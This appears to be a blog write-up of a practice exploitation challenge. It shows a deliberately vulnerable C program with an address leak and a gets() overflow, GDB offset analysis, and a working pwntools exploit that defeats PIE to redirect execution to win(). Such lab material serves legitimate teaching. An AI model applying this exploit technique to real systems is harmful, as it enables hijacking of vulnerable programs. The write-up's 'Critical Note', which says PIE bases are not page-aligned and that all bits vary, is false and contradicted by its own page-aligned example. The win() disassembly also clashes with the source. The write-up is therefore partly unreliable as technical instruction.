PIE Exploitation with Address Leak: Defeating Position Independence

September 10, 2025

PIE Exploitation with Address Leak: Defeating Position Independence

Challenge 6: PIE Exploitation with Address Leak (6_simple.c)

Source Code:

#include <stdio.h>

int main() {
    vuln();
    return 0;
}

void vuln() {
    char buffer[20];
    printf("Main Function is at: %p\n", main);  // <- Address leak vulnerability
    gets(buffer);                               // <- Buffer overflow vulnerability
}

int win() {
    puts("[+] You win");
    return 0;
}

// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -Wl,-z,norelro -o bin/6_simple src/6_simple.c

This demonstrates the fundamental technique for bypassing Position Independent Executable (PIE) protection by leaking a code address and calculating the runtime base.

Binary Setup

gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -Wl,-z,norelro -o bin/6_simple src/6_simple.c

Security Mitigations:

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled  <- Key protection we need to bypass
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

Key Vulnerabilities:

  1. Address Disclosure: printf("Main Function is at: %p\n", main) leaks the runtime address of main()
  2. Buffer Overflow: gets(buffer) allows unlimited input into 20-byte buffer

PIE Bypass Process

Step 1: Understanding PIE Randomization

When PIE is enabled, the binary loads at a random base address:

ian@vps:~/pwn/pwnpractice$ ./bin/6_simple
Main Function is at: 0x555555555189  # Changes each run

Step 2: Static Analysis - Find Function Offsets

gef> disas main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:     endbr64    # main() at offset 0x1189
   0x000000000000118d <+4>:     push   rbp
   0x000000000000118e <+5>:     mov    rbp,rsp
   0x0000000000001191 <+8>:     mov    eax,0x0
   0x0000000000001196 <+13>:    call   0x11a2 <vuln>
   0x000000000000119b <+18>:    mov    eax,0x0
   0x00000000000011a0 <+23>:    pop    rbp
   0x00000000000011a1 <+24>:    ret
End of assembler dump.
gef> disas win
Dump of assembler code for function win:
   0x00000000000011e0 <+0>:     endbr64    # win() at offset 0x11e0
   0x00000000000011e4 <+4>:     push   rbp
   0x00000000000011e5 <+5>:     mov    rbp,rsp
   0x00000000000011e8 <+8>:     lea    rax,[rip+0xe2e]
   0x00000000000011ef <+15>:    mov    rdi,rax
   0x00000000000011f2 <+18>:    mov    eax,0x0
   0x00000000000011f7 <+23>:    call   0x1070 <system@plt>
   0x00000000000011fc <+28>:    nop
   0x00000000000011fd <+29>:    pop    rbp
   0x00000000000011fe <+30>:    ret
End of assembler dump.

Key Offsets:

  • main(): 0x1189
  • win(): 0x11e0

Step 3: Buffer Overflow Analysis

Find the overflow offset using cyclic pattern:

gef> x/20gx $rsp
0x7fffffffdd38: 0x6161616161616166      0x6161616161616167
0x7fffffffdd48: 0x6161616161616168      0x6161616161616169
0x7fffffffdd58: 0x616161616161616a      0x616161616161616b
0x7fffffffdd68: 0x616161616161616c      0x00007f006161616d
0x7fffffffdd78: 0x1bafba65b7578c9a      0x0000000000000001
0x7fffffffdd88: 0x0000000000000000      0x0000555555557168
0x7fffffffdd98: 0x00007ffff7ffd000      0x1bafba65b6378c9a
0x7fffffffdda8: 0x1bafaa1f4f958c9a      0x00007fff00000000

gef> pattern search 0x6161616161616166
[+] Searching for b'faaaaaaa'
[+] Found at offset 40 (0x28)

Result: Need 40 bytes of padding to reach return address.

Exploitation Implementation

Python Exploit Analysis

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('/home/ian/pwn/pwnpractice/bin/6_simple')

io = start()
io.recvuntil('Main Function is at: ')
main = int(io.recvline(), 16)  # Parse leaked main() address

# Calculate PIE base: leaked_address - static_offset
exe.address = main - exe.sym['main']  # exe.sym['main'] = 0x1189
print(f'PIE base: {hex(exe.address)}')

# Calculate win() address: pie_base + win_offset
print(f'Win address: {hex(exe.sym['win'])}')  # exe.sym['win'] resolves automatically

# Build exploit payload
payload = b"A" * 40          # Padding to return address
payload += p64(exe.sym['win'])  # Overwrite with win() address

io.send(payload)
io.interactive()

Step-by-Step Calculation

  1. Leaked Address: 0x555555555189 (main function)
  2. Static Offset: 0x1189 (from disassembly)
  3. PIE Base: 0x555555555189 - 0x1189 = 0x555555554000
  4. Win Address: 0x555555554000 + 0x11e0 = 0x5555555551e0

Successful Exploitation

ian@vps:~/pwn/pwnpractice$ python3 solves/6_simple.py
[*] '/home/ian/pwn/pwnpractice/bin/6_simple'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

PIE base: 0x555555554000      # Calculated base address
Win address: 0x5555555551e0   # Calculated win() address
$
[+] You win

Key Learning Points

PIE Bypass Requirements

  1. Information Leak: Need any code address to calculate base
  2. Static Analysis: Find function offsets in binary
  3. Runtime Calculation: target_function = pie_base + static_offset

Common PIE Leak Sources

  • Function pointer prints (like this example)
  • Format string vulnerabilities
  • Stack/heap dumps containing code pointers
  • Use-after-free with function pointers

PIE Base Calculation

PIE exploitation requires precise address calculation using leaked code addresses:

# The ONLY reliable method for PIE base calculation
pie_base = leaked_code_address - static_offset_of_leaked_function

# In this case
pie_base = leaked_main - 0x1189  # 0x555555555189 - 0x1189 = 0x555555554000

Critical Note: Unlike stack/heap ASLR which has page alignment properties, PIE binaries can load at arbitrary addresses determined by the dynamic loader. There is NO reliable pattern in the lower bits, and the entire base address is effectively randomized.

Why offset subtraction is necessary:

  • PIE bases are NOT page-aligned
  • ALL bits of the base address can vary between runs
  • Only the relative offsets between functions remain constant
  • Must know the exact offset of the leaked function

Finding Static Offsets:

# Method 1: objdump
objdump -t bin/6_simple | grep -E "(main|win)"

# Method 2: readelf symbols
readelf -s bin/6_simple | grep -E "(main|win)"

# Method 3: GDB disassembly
gdb bin/6_simple
(gdb) info functions
(gdb) p main
(gdb) p win

Pwntools Integration

# Pwntools automatically handles PIE calculations
exe.address = pie_base          # Set PIE base
target_addr = exe.sym['win']    # Automatically resolves to pie_base + offset

This technique forms the foundation for most PIE bypass exploits in CTFs and real-world scenarios.

Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.